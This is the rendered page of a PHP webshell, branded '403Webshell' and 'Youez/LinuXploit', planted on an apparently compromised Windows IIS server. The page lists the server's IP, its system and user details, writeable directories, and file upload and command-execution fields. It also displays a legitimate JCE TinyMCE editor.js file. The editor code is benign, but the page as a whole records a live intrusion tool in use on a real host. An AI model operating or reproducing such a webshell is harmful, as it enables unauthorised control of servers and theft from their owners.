403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.127
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Old Sites/Engineering/V2/components/com_jce/editor/tiny_mce/plugins/source/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Old Sites/Engineering/V2/components/com_jce/editor/tiny_mce/plugins/source/js/editor.js
(function($){var tinymce=window.parent.tinymce,DOM=tinymce.DOM,Event=tinymce.dom.Event;var SourceEditor={init:function(options,content){var self=this;if(Event.domLoaded){self.container=DOM.add(document.body,'div',{style:{width:options.width||'100%',height:options.height||'100%'},'class':'container'});self._load(options,content)}else{Event.add(document,'init',function(){self.init(options,content)})}},_load:function(o,content){var self=this,ed;if(!tinymce.is(o.change,'function')){o.change=function(){}}if(!tinymce.is(o.load,'function')){o.load=function(){}}if(window.CodeMirror){var query=o.url;var args={'task':'compile','editor':'codemirror','theme':o.theme||'textmate'};for(k in args){query+='&'+k+'='+encodeURIComponent(args[k])}ed=new CodeMirror(this.container,{width:'auto',height:'100%',base:'',basefiles:[query+'&type=base'],parserfile:[query+'&type=parser'],stylesheet:[query+'&type=css'],indentUnit:4,reindentOnLoad:true,onLoad:function(){ed.setWrap=function(s){ed.setTextWrapping(s)};ed.showGutter=function(s){ed.setLineNumbers(s)};ed.highlight=function(s){if(s){ed.setParser('HTMLMixedParser')}else{ed.setParser('TextParser')}};ed.resize=function(w,h){DOM.setStyles(self.container,{width:w,height:h})};ed.showInvisibles=function(s){};ed.setContent=function(v){if(v===''){v='\u00a0'}return ed.setCode(v)};ed.insertContent=function(v){return ed.replaceSelection(v)};ed.getContent=function(){return ed.getCode()};self.editor=ed;self._loaded(o,content)},onChange:function(){o.change.call()}})}},_loaded:function(o,content){this.setContent(content);this.setWrap(!!o.wrap);this.setNumbers(!!o.numbers);this.focus();o.load.call()},setWrap:function(s){return this.editor.setWrap(s)},setNumbers:function(s){return this.editor.showGutter(s)},setHighlight:function(s){return this.editor.highlight(s)},setContent:function(v){return this.editor.setContent(v)},insertContent:function(v){return this.editor.insertContent(v)},getContent:function(){return this.editor.getContent()},showInvisibles:function(s){return this.editor.showInvisibles(s)},resize:function(w,h){return this.editor.resize(w,h)},focus:function(){return this.editor.focus()},undo:function(){return this.editor.undo()},redo:function(){return this.editor.redo()},indent:function(){return this.editor.reindent()},getContainer:function(){return this.container||null}};window.SourceEditor=SourceEditor}());

Youez - 2016 - github.com/yon3zu
LinuXploit